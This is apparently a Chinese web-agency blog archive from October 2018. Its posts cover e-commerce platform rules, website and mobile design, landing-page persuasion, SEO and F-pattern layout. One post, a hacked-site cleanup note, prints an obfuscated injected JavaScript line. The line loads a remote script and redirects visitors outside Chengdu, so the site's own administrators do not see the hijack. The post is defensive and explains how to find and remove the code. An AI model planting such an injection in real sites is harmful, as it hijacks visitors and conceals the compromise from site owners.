Month: October 2018

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生命周期：规则的未来是什么？

1 目的

宏观上是为了解决社会生产关系变化引起的矛盾，为新的法规建立摸着石头过河，落到实际情况，规则就是为了解决用户、平台、外部环境三者之间的矛盾。

1.1 解决先进的生产力和落后的生产关系之间的矛盾

随着电子商务的高速发展，买卖双方在虚拟世界的关系不同于传统买卖合同关系，物流、资金流、信息流也不同于传统的交易模式，这就导致适应传统商业秩序的规则已不能约束电子商务中的生产关系，需要一套适用电子商务的规则体系来约束新的生产关系。

1.2 协调用户与用户、用户与平台、用户与外部环境之间关系

电子商务中的人与人关系变得复杂，包括买卖双方之间的买卖关系、代理关系、产品质量责任、信息披露义务、消费者保护等，包括平台与用户的隐私保护、知识产权保护、数据储存、信用记录等，也包括用户和外部环境之间纳税义务、发垄断责任、物流配送等之间的关系。不再是传统的一手交钱一手交货，新的关系产生新的矛盾，规则的制定就是为了协调之间的关系，解决之间的矛盾。

2 范围

2.1 规则

广义的电子商务规则包括法律、法规、政策、标准、行业规范、平台规则，是治理电子商务的所有约束的总和。

狭义的电子商务规则涉及范围比较小，主要指的是平台规则，指的是在法律法规下，平台对用户特别的约束条款。

2.2 规则体系

规则体系包括规则的制定、执行、宣导整个流程，是平台约束用户行为、处罚违规用户的所有手段的总和。

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规则制定是构建规则体系的基础，需要丰富的规则库以及完善的规则制定、执行、反馈流程。

规则执行是构建规则体系的重点和关键，需要对用户的行为进行分类、分层，差别处理，既要惩恶扬善又要度恶为善。

规则宣导是构建规则体系的必经之路，让更多的用户了解规则，培养规则意识，引导用户自行完成纠纷矛盾的处理。

3 规则的来源

电子商务的发展降低从民到商的成本，下载一个手机软件就可以卖东西赚钱了，更低门槛就意味着更多的问题出现，每个新事物的到来也许都会经历初生、激增、混乱、秩序四个阶段，规则就在从混乱到秩序的过程中出现。

3.1 法律法规、政策、标准、行业规范

规则的最主要来源就是法律法规，在规则之上凡是民商事行为上升到违法犯罪的，就不属于规则的范围了，平台规则也是在不违反法规的前提下对用户进行额外的约束。这些“国字号”规则的来源比较分散，需要规则制定者时刻关注有关部门的动态。

附：有关部门主要有国务院、工商总局、工信部、公安部、证监会与银监会等（见下图）

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3.2 竞品规则

电子商务发展到今天，诸如淘宝规则这样的大平台在勾勒、揣测、理解新商业文明需要怎样的规则体系的问题上付出了极大的努力，也取得了公认的成绩，为其他后来者乃至整个电子商务立法都提供了宝贵的治理经验。

附：《淘宝规则》框架

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3.3 用户反馈&行为数据

用户反馈和行为数据是平台内生规则的产生途径，随着大数据技术的发展，数据化的规则制定、执行流程也会越来越完善。

4 规则生命周期

平台规则不是治理电子商务的结果，是治理的过程，为法律法规的制定起到探路的作用，如无理由退换货规则，已经在《消法》中明文规定，尚未正式颁布的《电子商务法》也对实名、信用评价、个人信息保护等电商平台规则在法律层面进行约定。

平台规则在法规产生之前出现，在与利益方博弈中成熟并完成治理的任务，在法规出现之时完成生命的升华。

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大家都知道网站设计需要涉及很多因素，而且不同类型的网站，在设计时需要体现的内容也不一样，比如说对于一个企业网站更想体现出品牌以及产品的特点，主要是对产品、企业信息做展示。但对一个电子商务网站来说，主要是突出商品的一些特点，更多的是促进用户进行购买。因此这两种网站在设计方面就有所不同。但总的来说所有网站都要遵循以下几点原则：

1.网站的实用价值

 

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网站对于每一个浏览用户来讲应该都是有用的，让每一个用户都能在你的网站中找到有价值的信息，比如说网络用户最讨厌的是什么?肯定是诱骗点击，因为用户发现这些点击之后的内容对自己毫无价值。所以网站设计的第一原则就是要体现实用价值。

2.做好网站的沟通设计

 

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网站其实就是企业在互联网中的明信片，不仅仅要让用户了解你是干什么的，最重要的是能让用户通过网站与企业沟通，它不只局限于网站的在线沟通工具，应该在网站设计时将沟通运用到各个角落中，做好网站文字的描述、直观的图片介绍以及有效的用户反馈机制等等。

3.网站设计越简单越好

 

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大家都知道网站的最佳加载速度是不超过7秒，因此在网站设计时要尽可能的简化代码，比如减少css、js的调用，网站中图片、视频的使用等方法，更重要的是网站前台设计要清晰简洁，设计时可以使用一些简单的元素来提高页面可读性，但简单的设计元素不能过于简单，要能够突出网站重点，注重用户的交互体验。

这三点原则可以帮助大家更好的设计网站。

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随着移动互联网的发展和普及，移动端的流量的重要性越来越被更多人所关注。PC时代，谁的网站流量高，谁的规模就大，谁就有可能成为市场的领跑者。而到了移动互联时代，事情似乎不这么简单。

在移动端，哪怕你只有100个用户，服务做的好，依然有机会获得10亿用户。反过来，哪怕你有10亿用户，但是用户不稳定，今天来了明天走，可能最后连100个用户都留不下。因此，用户体验已经成为摆在手机网站运营者面前的一项重要工作。如果你也是一个手机网站运营者，恰巧不知道如何提升用户体验的满意度，不妨仔细阅读下面的一些建议。

 

1、方面快捷的功能

现在越来越流行餐饮O2O或者购物O2O，很多平台都搭建属于自己手机网站。如何让用户在很短时间内，找到自己喜欢的商品，并且愿意在上面进行点击确认。然后，就是评价和投诉功能，这样让用户很简单知道这个商品的口碑和评价，会让用户感觉服务特别温馨，并且能正当维护自己的权益，用户就会越来越喜欢。

2、登录界面的人性化

不管什么样的手机网站，在登录界面都要有自己的特色。一个手机网站，不管哪一方面让用户等待很长时间，用户只有一个念头关闭，并且再也不想提起。但是如果在用户等待过程中，出现一些特殊的界面，让用户在看界面中慢慢忘记等待时间。这样用户并不会出现反感，反而因为这种界面愿意等待一会。

3、划拉布局和下拉布局

移动端都是使用触摸屏，就需要用户进行滑动屏幕等，这和PC端选择使用鼠标点击按钮的方式区别很大。前后的滑动、滚动式图表和旋转角色，这种布局都给用户在使用增加可选性，不单单是点击上面的文字。用户使用左右滑动或者上下滑动过程中都能清楚定位的自己想要的位置。这样动作会让用户感觉很棒，并且在不知不觉中慢慢喜欢这种方式，更加倾向于这种动作的使用。

4、交互式的互动行为

用户在移动客户端都喜欢进行留言，分享功能。特别是看到一篇很棒的内容都会选择分享到朋友圈或者空间中，让朋友也参与里面。喜欢中这种参与行为，因为这种圈子拉动粉丝在持续发酵中，用户慢慢都会舍不得离开。

5、视觉化元素

人们都喜欢美得东西，因此，视觉化元素都要体现出美好的东西，现在很多的移动端都会添加动画功能，或者是一种交互功能，就是给人在视觉上体现很多不同画面感和增加质量，给人在使用中慢慢减少障碍。

6、任何页面都能方便回到主页

当移动用户在你的网站上面浏览时，他们有时会希望能够直接返回主页，或者其他比较重要的栏目页。这时候在网页的适当位置，添加返回首页和其他栏目页的链接或者按钮，将可以明显地方便用户操作，用户的体验效果也会非常好。

7、添加快速搜索功能

添加搜索功能可以让用户在需要一些特殊信息的时候，能够点击搜索功能查到自己需要的内容。搜索必须是移动网站上最重要的功能之一，因为由于手机屏幕比较小，网页承载的信息有限，这种情况下，搜索功能可以帮助用户搜到所需要的信息。我们可以在网站页面的顶部添加搜索功能，因为页面顶部位置最容易让人发现。

8、尽可能做到智能填充

在网站上，有些输入信息的功能完全可以做到更加人性化。比如，用户输入了身份证号码，那么系统可以直接计算出生日日期，然后自动填充在生日框中。再比如，用户输入了产品数量和产品单价后，系统自动计算总钱数并自动填写到相应框中。这些都是很友好的举措，可以明显地提升用户体验。

9、考虑多种浏览器的兼容

由于手机上的浏览器也有多种，比如UC浏览器、360浏览器、搜狗浏览器、其他浏览器，如此多的浏览器在浏览网页的时候，如果手机网站的兼容性差，就很可能会出现在某些浏览器上出现网页变形、内容显示不全的情况。

10、移动网站与PC网站的跳转

确保在手机网站或者PC端网站各个页面上有相应的导航或者提示链接，让用户可以在手机版和PC版进行切换，也便于搜索引擎更好的收录。一般情况下我们的PC网站上都可以看到一个手机版的按钮，或者是当手机输入域名的时候会自动跳转到手机网站，这一技术改变了手机用户的用户体验。在这一点上，微企点可以说是做的比较好的。在微企点，用户可以分开灵活编辑PC站和手机站的内容，但是可以将PC站和手机站绑定同一个域名，在访问的时候，根据设备的不同，自动推送PC站或手机站的内容。

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在进入具体的设计技巧之前，我们需要明确着陆页的作用。着陆页的作用，一言以蔽之：在自己的地盘上推广自己的产品与服务。通过打广告等方式从外部引入了流量，此时需要一个页面将这些流量承接住，并转化为产品使用量。既然着陆页的目的是销售，衡量着陆页质量最直接的标准就是转化率 —— 使用量与外部流量的比值。着陆页的重要性可见一斑，它的质量在一定程度上决定了你的巨额广告费是否会打水漂。

一、策略层面

人们关注自己远超过关注你的产品，先从读者熟悉的事物说起，将其引入一个情境，再让产品寄生在这个熟悉的情境中。好的销售员不会一开始就单刀切入卖产品，他会先和你唠唠家常，关切地问候基本情况。这是因为人都有一种防备意识，对损失的敏感度大于损失。“又来了一个想让我掏钱的人了。”这是另外一个很重要的策略 —— 熟悉先行，它决定了你的用户会不会往下读。

“分答”的着陆页，我认为是“熟悉先行”策略做得很好的一个案例。“分答”是一款做付费问答的新产品，人们可能对“分答”或“在行”都不太了解，对“付费问答”可能更是排斥。在着陆页的开头，“分答”没有把这些“劣势”拋在前面，也没有一上来就大侃功能，而是用各领域的名人如章子怡、汪峰等人作引子，从读者熟悉的地方切入。不仅如此，选取的人物也是很有讲究，基本涵盖了各个领域。有的人对科幻小说不感兴趣，可能不知道刘慈欣，但他不会错过每期《奇葩说》，因此有一个马薇薇就足够了。

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人们接受新事物是对成本与收益再平衡的过程。人们愿意花费尽可能少的成本去获得更高的收益或效率。比如通过其他渠道购买基金所需要支付的费率是3‰，而通过我们只需要1‰。再比如同是配送公司，公司A的平均送达时间半小时，送餐小哥人帅嘴甜；而公司B平均送达耗时1个半小时，队伍成员都是乡音浓重的大爷，同样花费5元配送费，我当然选择A公司。这就是在设计着陆页时可以应用到的同行比较。具体的利益卖点主要是由商业模式和战略决定的，设计师的任务是强化卖点。

注：在应用“同行比较”策略时，最好别直接点明竞品名称，以免惹来不必要的危机公关，摆出事实但不针对人。

人们基于信任感而愿意承受执行某些操作可能带来的风险。从心理学解释，信任又分为有条件信任和无条件信任。我们对父母有着与生俱来的无条件的信任，这种信任由感性层面触发。对于新产品而言，如果有可能，我们更多地会触发有条件的信任。既然信任是有条件的，那么，这项条件是什么呢？我认为是背书。百度为“莆田系”做了背书，这是个负面案例，但不得不承认，“莆田系”把这个背书利用到了极致。因此，在设计着陆页时，如果有可能，尽量使用攀亲策略，和一些权威攀上关系，如“被XX知名媒体报道”、“获得国家级XXX奖项”、“获得XX技术认证”、“获得XX知名投资机构投资”等等。

这三种策略的使用其实是循序渐进的，先为读者营造情景，让对方愿意听你说话。再通过利益诱惑引其上钩。此时他可能觉得你产品服务听起来很好，但是仍有一点点顾虑，你再引入权威背书消除对方对你的不信任。

设置参照对象也是不错的方式。通过展示使用者的评价或成绩，为读者塑造一种“他可以，我也可以”的感受。比如 The One 智能钢琴的着陆页里展示了各个年龄层的客户使用产品的成绩。

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二、界面体现

规划出好策略只是第一步，如果界面的呈现与交互设计不好，再好的策略也可能功亏一篑。但如果没有好的策略，即使界面设计得再出彩再炫酷，也只是一项精美的艺术品而已，很难达到商业转化的目的。

操作

很多产品在设计着陆页时会犯一些操作层面的低级错误。比如

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注：图中我对产品的LOGO和名称进行了模糊处理，但并不妨碍理解。因为我不想惹麻烦。

这个页面的设计犯了一个错误：操作不明确，没有给予操作一些提示。如果只是看到这个页面来让读者做决策，他根本无法了解这款应用是做什么的，更何况去下载呢。少一个箭头可能让整个设计功亏一篑，更可能让几百万的广告费打水漂。改进方式是，在下方加个箭头，或者在右侧放置slide indicator。

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由于整个着陆页实际上是一个销售过程，你无法预知读者在哪个节点就会被完全说动。甚至每个人被吸引的点完全不一样。有的人没有太大的防御心理，在看到利益点时就被说动，而有的人又不一样。因此，“临门一脚”的操作（如下载App等）最好能够常驻在一个地方，或在节点之间频繁展示此操作以刺激读者。

随着智能手机越来越普遍，单纯依靠PC端远远满足不了用户需求。特别是企业如何在移动端牢牢把握住用户就可以在公司盈利和业务方面获得飞速增长。然而，移动网站建设就变得越来越重要。搭建移动网站满足公司业务需求，从而获得移动端流量，就变得迫在眉睫。

移动网站不用于其他类型APP，需要下载就可以使用。也不如PC端流量获得，因为移动端存在用户即来即走，如果网站不能满足用户对于服务的要求。下次就很难再回来，虽然移动网站搭建起来相对于PC端要复杂一些。然而，在移动端流量面前，相信很多企业都不会主动放弃这部分流量。那么，一个好的移动网站都需要具备哪些设计需求。下面，濮阳网站建设就谈谈移动网站建设设计要点。

 

1、移动网站页面设计

移动网站设计之前就要考虑移动设备的分辨率问题，这就是移动网站不同于PC端网站，移动网站建站对于页面要求很高。因此，在移动网站页面设计之前就需要合理安排网站内容和结构。做好网站页面布局和视觉体验，移动网站建设对于用户体验度提出更高要求，小小的屏幕包含的东西尽可量全面简介。只有，这样良好的用户体验，才能让网站在移动端获得好的排名。

2、移动网站导航设计

移动网站导航设计本人认为这种最难。难就难在，移动设备分辨率的局限性。在用户进入到首页之后，就需要很清晰导航结构，如果导航不清晰，用户很难进入到网站内部。因此，如何把PC端导航尽可能简单甚至浓缩到移动网站就变得很重要，本人认为导航尽量包含主要栏目和重要信息页足矣。

 

3、网站内容布局要直奔主题

移动端由于分辨率的问题，不可能做的跟PC端那么全面。这就需要把重要信息放在显眼的位置。最好别下滑到下一页面。尽可能让用户在首屏就找到用户想要的信息。这样减少用户下拉页面时间，也可以用户良好体验度。

4、移动网站加载问题

移动网站打开速度或者速率，都影响用户打开网站。如果网站打开过慢，甚至超过5秒用户打开率就迅速下降。因此，移动网站打开速率尽量保持在3秒之内，用户就很愿意在内容上面花费一定时间。因此，移动网站建设就尽量减少不必需要的图片甚至动画的使用。保证网站打开速度。

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一个网站的页面是由多元素组成如：代码、排版、内容、广告、内链等等。这些元素全部组成就是网站页面，然后如何构成才能成为高质量页面呢?今天成都SEO的小编就来浅谈下。

1、代码之加载速度

网页的加载速度直接影响到用户打开网站的体验和蜘蛛爬行次数，如果一个网页无法打开或者打开速度过于慢，很可能会失去大量的用户，蜘蛛对此类网站也不会有任何好感。然而影响速度的不仅仅是服务器问题，服务器只需要买一台好的就不会太差，真正影响的站内代码。

在百度站长平台上面有一个栏目“页面优化建议”上面会详细的写出CSS和JS合并文件、gzip压缩等等情况，这些都是具备可以优化的代码，然后注意下页面的死链接就可以了。

2、代码之页面相似度

页面相似是非常常见的一种，大多数站长都是直接网络上面下载源码，并且安装免费模板，这种模板与其他网站吻合至少达到了80%以上，但是对于SEO来说，这是一个严重的错误。百度喜欢“原创”不仅仅说的是文章，代码也是一样的，如果模板是自己原创那么以后优化会方便很多。

3、网页排版

网页排版应该满国内用户习惯，根据习惯来布局，打一比方百度和谷歌，从用户搜索习惯上看国内用户更喜欢百度搜索结果显示，但是谷歌更适用国外。所以谷歌淘汰，百度存活。国内用户更喜欢从左到右，从上到下，谷歌显示结果与用户完全相反。

4、内容质量

文章质量是网页质量中最重要的一个因素，一篇文章如果对用户具备实时性、帮助性、可读性甚至互动性，那么绝对是“大神”级别的好文章，文章部分并非只是使用文字表达，一篇真正的高质量文章通常是采用图文结合，甚至视频结合。在文章底部可以加上相关文章，评论机制等等与用户互动。

5、页面广告

现在的个人站长通常都是依靠广告生存，特别是一些信息网站，所以频繁的广告占据了大量的位置，但是这是用户需求的么?广告会影响用户的体验，减少广告也许会让用户体验更好。广告不能一味求多，如果用户减少，广告位价格就会变低，有一种丢西瓜捡芝麻的感觉了。

6、内部链接

内部链接同样是网页组成因素，有的站长为了提升关键词排名，在一篇文章做上大量的锚文本，这种情况同样是要杜绝的，实际锚文本只是为了传递权重，在页面右边加上一些相关文章版块，最新文章版块同样可以传递权重，虽然效果没有锚文本好，但是不属于作弊手段，何乐而不为呢?

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是否遇到过你的网站打开一会就自动跳转到其他页面，而且这个问题是你的用户告诉你的，而你自己却没有遇到?

 

经过我细心的对挂马网站做排查，终于让我找到了问题所在。

挂马者是通过在discuz的头部js文件里面添加了劫持js代码，通过判断访问者的IP来实现不同跳转的。

具体代码如下：

document.write(“<\163″+”cript src=’http://\141″+”d.\172″+”om”+”12\63″+”.n”+”et/i”+”p.asp?l”+”oc=chengdu’><\/s”+”cript>”);

可以看出，后面有个“chengdu”代码，这段代码的意思就是IP为成都地区的访问者在访问被挂马页面时不做跳转。其余地区的IP访问者则跳转。

从这段代码我们就可以看出挂马者是多么的用心险恶。

他首先根据你网站所在地进行判断网站管理员经常使用的IP地址所在地，然后有针对性的对网站管理员不做跳转劫持。

所以，这种劫持的情况下，网站管理者非常难以发现到网站被挂马了。

解决办法也比较简单：

首先校验下原始文件，对比下哪些js文件近期有被改动过，然后针对被改动过的js文件做以上代码段的排除。找到以上代码段后，删除即可。

最后说一下，各位网站管理者一定要注意保管好网站和服务器的管理密码，尽量设置的复杂一点。同时也要及时检测服务器是否存在漏洞等，及时做针对性处理，以避免类似的事情再发生。

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定制网站听着很美丽也很高端大气上档次：完全按照用户的“意图”去做网站，你需要什么样的网站，我就能做出什么样的网站……不能否认，定制网站在技术上也许很牛，但是，真的能满足用户网站的真实需求吗?

定制网站最大的卖点就是“原创”，无论是作为企业还是个人的网站，想要在互联网上与众不同，只有“定制”华山一条路，其他的模式很容易和别的网站“撞衫”，“撞衫”的网站是没有前途的。而唯独定制，永远不会出现撞衫现象，这个看起来的确很美好，事实上也是如此，但是，一分价钱一分货，定制网站也是要讲规则的，只有懂得人才不能让用户失望。

 　　我们举个例子，从网站内容更新来说，在网站内容更新中，同样存在这样的“伪命题”，网站内容的三个来源：原创、伪原创、转载。哪一个更好呢?很多站长都会迷信于原创。原创同样看起来很不错，但是，原创的目的是什么?如果说出真相，你一定会很无奈，原创的真实目的是能够让搜索引擎收录，然后增加访问量。而对原创的要求却low到底，只要是手动打字出来的文章，水平低到小学三年级也无所谓。低质量的原创和高质量伪原创PK，其实前者远远不如后者牛，因为，光想着照顾机器的体验，怎么能对网站访问用户体验无动于衷呢?

定制网站同样存在这样的误区，只要是定制就一定好吗?尤其是哪些一味迎合用户“需求”的网站建设公司，首页加载个动态图片是吧?可以。需要一套办公程序是吧?没有问题。这里还有加上一张老板宠物的图片?这，也行……这些要求有合理的，同时也有多余的，怎么办?是一味迁就，还是给用户指点迷津，哪怕是错过个这个大单也无所谓，真的有这样的勇气吗?

站在网站建设和优化的角度来说，网站建设公司永远比用户懂得更多，最少他们懂得怎样的网站搜索引擎会喜欢，怎样的网页设计有着不错的用户体验，怎样的网站层次逻辑，符合互联网的套路……如果把这些丢失了，如果不站在这些立场去考虑这个网站怎么做，这其实是在做“一刀子”买卖。最初的用户也许什么都不知道，就算知道也不过是一知半解，就是因为如此，网站建设过程中，可以隐瞒很多问题，这样做真的对吗?

 　　福特汽车创始人亨利.福特曾经说过：“如果听用户的，我们根本造不出汽车来，用户就是需要一匹快马。”在网站设计过程中，只顾及到客户的需求，而忽视了网站的功能和互联网的规则，做出的网站也许只是一个花瓶而已，根本达不到客户所预期的那样，没有争议的网站，是不完美的。

对于网站建设公司来说，要分清用户需求和作为产品网站的需求，二者是不一样的，用户经常提出的需求，从他们角度而言都是正确的，但更多是从自身情况考虑，对于网站的某个功能有自己的期望，但对网站定位、设计的依据等情况不了解，他们的建议也许并不是该网站功能的最好实现方式，也就不足以直接作为产品规划的直接依据。

微信之父张小龙说，一款好的产品，一定是迎合人性的。把握人性是一款产品很重要的一个环节，知道用户内心最需要什么，才能真正做出让用户喜欢的产品。定制网站本身就站在网站建设的最高点，和模板建站、免费建站比较，定制网站价格、功能、设计上都要有着较高的要求，而且用户投入的成本也相对较高。“任何网站存在的意义都是要创造价值的!”如果站在这个角度思考问题，这样的定制网站才能发挥最大作用，被赋予“高大上”才能名至所归。否则，就是挂着羊头卖狗肉!

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一、避免产品同质化

众所周知，很多私人站长通过软件编程技术自己做网站，因此建站的可模仿性极强。网络上现在有很多的模板建站，花型稍作修改或形状略加改动就可以堂而皇之的进入网络市场，正是建站行业的产品同质化直接导致了建站公司在价格上形成了恶性竞争。加之，目前消费者对品牌网站建设产品的认识尚处于感性阶段，对产品的真伪还很难凭直觉加以辨别，更加剧了产品同质化现象的蔓延。

犀牛云移动云网站基于“云+端”的信息技术架构，开发出了犀牛云创意工具箱，帮助企业创建PC云网站、手机云网站、APP云网站和微信云网站。企业用户能够运用犀牛云创意工具箱随心所欲地调整网站的任一板块的构架或者内容，均能有效地避免产品同质化的问题。

二、注重塑造企业品牌

这几年来，品牌网站建设行业的经营模式已经发生了根本性的改变，即从批发转为品牌化经营。众多品牌网站建设企业纷纷注册了自己的品牌，并围绕品牌建设采取了一系列的动作。但是，大多数品牌在塑造过程中一味追求外在视觉表现，而忽视了内在的文化内涵和独特个性，致使品牌空心化现象的普遍存在，给人千篇一律的感觉。

同质化现象使品牌不能有效的形成鲜明的个性定位，最终成为过眼烟云，无法真正占据消费者的心智。犀牛云移动云网站认为，网站不仅仅是企业的第一营销窗口，更重要的是能够在第一时间内将企业的品牌内涵传递给访客。因此，犀牛云在为企业创建网站前全面分析企业，为企业找准定位，融合企业的品牌精髓于网站建设的每一个细节之中，让网站无处不传递着企业的品牌信息，从整体上塑造企业品牌。

三、打造特立独行的销售渠道

品牌网站建设行业的竞争程度与日俱增，不少品牌网站建设公司与个人开始试水新的销售渠道，比如邮箱、微博、微信等。但从目前的销售态势来看，品牌网站建设的销售渠道依然集中于网站和介绍等传统形式。渠道的狭隘性与同质化，导致了众多品牌狭路相逢，短兵相接，渠道战、终端战、价格战等一浪高过一浪，致使批发、专卖和商场专柜等传统渠道已经呈现出运营成本不断上升，以及利润空间不断萎缩的趋势，甚至是遭遇生存危机。

犀牛云领先开拓PC网站以外的手机网站、微信网站和APP网站市场，为企业打造出多终端营销平台，助企业形成特立独行的销售渠道，突破销售渠道同质化的桎梏。与此同时，多终端建站，也有利于企业从多个角度来塑造品牌，打造出自己的专属销售渠道。

品牌网站建设行业的同质化竞争已经是不得不面对的现实了，要想跳出同质化和雷同化的桎梏，企业建站就要有创新意识，融合企业的特色于建站过程之中。犀牛云移动云网站从准确定位企业的角度打造独具特色的企业网站，凸显企业的核心竞争力，为企业突破同质化竞争助上一臂之力。

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什么是「F 型扫视」？

「F 型扫视」是界面阅读最常见的一种扫视模式，在有很多内容板块的界面上非常实用。「F」也可以被理解为「Fast」。大多数人阅读界面内容时，都采用了「F 型扫视」模式——只需要几秒，就可以快速将页面扫完。

「F 型扫视」最早是由尼尔森诺曼集团（NNGroup）通过眼球追踪实验提出的，该项实验记录了 200 多名用户阅读上千个网页的数据。实验结果发现，用户的阅读习惯相当一致，即便是在不同站点和不同阅读任务的前提下。实验对象的阅读轨迹看似像字母「F」，并包括以下 3 个部分：

 

人们首先会横向阅读，通常扫视范围仅停留在页面顶端部分。这一轨迹形成了字母「F」的第一横。

紧接着，我们会顺着页面左端纵向阅读。我们的阅读重点仅停留在段首其感兴趣的部分。发现感兴趣的内容后，我们会再次横向阅读，不过这次横向阅读的范围通常较第一次小。这一轨迹形成了字母「F」的第二横。

最后，我们会再次顺着页面左端纵向阅读。

在下面这张图，红色区域是人们的核心阅读重点，黄色区域是次阅读重点，紧接着是相对关注较少的蓝色区域，而灰色区域基本不受用户关注。可以看出，我们浏览网页基本构成了 F 型。

 

通过热度图，尼尔森诺曼集团揭示了眼球追踪实验是如何发现用户阅读轨迹的（本处用户特指阅读习惯为从左至右的用户）。

很明显，我们的扫视模式并不只包含 3 个部分。当我们发现其感兴趣的内容后，就会重点阅读该部分，从而形成相应的横向阅读轨迹。

为什么用「F 型扫视」

通过「F 型扫视」模式，更容易体现出良好的视觉层次，从而方便用户了解界面内容。对大多数西方用户来讲，「F 型扫视」模式是非常舒适的，因为他们的阅读习惯一直以来都是从上到下、从左至右的。

注：作者之所以提及西方用户的阅读习惯，是因为有些（东方）国家或地区用户的书写和阅读习惯是从右至左的。在有些国家和文化中，书写习惯甚至以竖写为主，相应阅读习惯也稍显不同。由于中文的书写和阅读习惯并不特别，所以本文所讲的「F 型扫视」仍可以适用。

什么时候用「F 型扫视」最舒服？

针对有大量文本的网站，比如博客或新闻站点，「F 型扫视」模式是再好不过的选择。

在内容过多（特别是文本过多）的情况下，若页面布局是根据自然扫视模式（即「F 型扫视」）来设计的，用户反馈会更好。

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CNN 首页也使用了「F 型扫视」模式

网页应该怎样用「F 型扫视」？

借助「F 型扫视」模式，设计师在页面内容选题方面有更多的「话事权」。

1. 按重要性对内容排序

在设计规划页面元素时，一定要按重要性对各项内容进行排序。通过排序，你可以清楚地知道你最想让用户阅读的内容。这样一来，你只需要将这些内容放在页面的「热点」区域即可。

2. 设置预定期望

整个页面最开始的一两段是非常重要的。尽可能将重要内容放置在页面顶端，从而可以在短时间内让人们知道网站（或页面）是用来做什么的。

根据「F 型扫视」模式，我们通常会横向阅读页面顶端。因此，在顶端区域设计一个导航栏是个不错的选择。

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用户扫视页面最重要的内容只需要几秒钟。图片来源：tutsplus

3. 设计要方便扫读，而不是阅读

设计页面布局时，要从用户角度出发。顺着「F 型扫视」的阅读轨迹，将人们最感兴趣的内容按重要性放置于相应区域：

段首用词一定要足够吸引用户眼球。

用户首先会阅读最突出的内容（即最具视觉重量的内容）。因此，一定要凸显重要内容的视觉重量。可以通过字体排版来体现文本的重要性，比如高亮文本关键词；也可以通过各种颜色突显某些按钮。

每个段落只覆盖一个观点，并尽可能多地使用项目符号（即本条左边的小黑圆点）。

将最重要的内容（比如行为召唤相关的内容）放置在页面左右两端，这也是用户横向扫视的起始两端。当他们继续往下扫视至下一横向内容时，刚好有几秒时间，可以让他们稍作思考。

4. 好好利用工具栏

工具栏可以让人们进一步参与交互，好好利用工具栏，可以进一步提高用户参与度。

让希望用户点击的任何元素显得更有特色，尽管它可能和页面主要内容「迥然不同」，比如广告，相关文章列表，社交媒体小组件等等。

把它定义为用户寻找特定内容（比如目录列表，标签群，热门文章小组件等等）的工具。

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Medium 在工具栏中加入了二级导航

5. 避免视觉疲劳

「F 型扫视」模式最大的缺点，是可能存在的视觉疲劳。要让用户觉得无聊，其实并不难，比如在页面加入重复和相似的内容。如果用户真觉得无聊了，那你也不会得到什么好处。所以，不妨试试在人们扫视范围内加入「出人意料」的元素，从而保持用户的参与度。

这个「打破预期」的页面布局技巧，在有长篇幅内容的页面上特别适用。试想，如果人们浏览类似页面时，尽是沉闷或无聊的内容，那他们很快就会「想吐」……

下图页面的上半部分，页面的任务宣言（即图中 This is a headline … 该句）置于页面顶端，可以在短时间内向用户传达该页面的功能。

此外，将页面拆分为左右两栏——左栏为主要信息，右栏为辅助信息（工具栏），可以进一步保持用户的参与度。

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图片来源：tutsplus

整个界面布局设计简单，但核心元素都体现了出来。人们打开页面，能够清晰了解页面主要功能，工具栏中也有目录列表导航，用户也可以直观地看到相关内容。

通过页面左端方形卡片和引人注目的标题，可以吸引用户关注。尽管用户可能对这些内容不感兴趣，但至少发现有趣内容的机会是存在的。

顺着字母「F」的第二横，再加入一些「出人意料」的元素，比如图片或行为召唤相关的内容，从而进一步保持用户的参与度。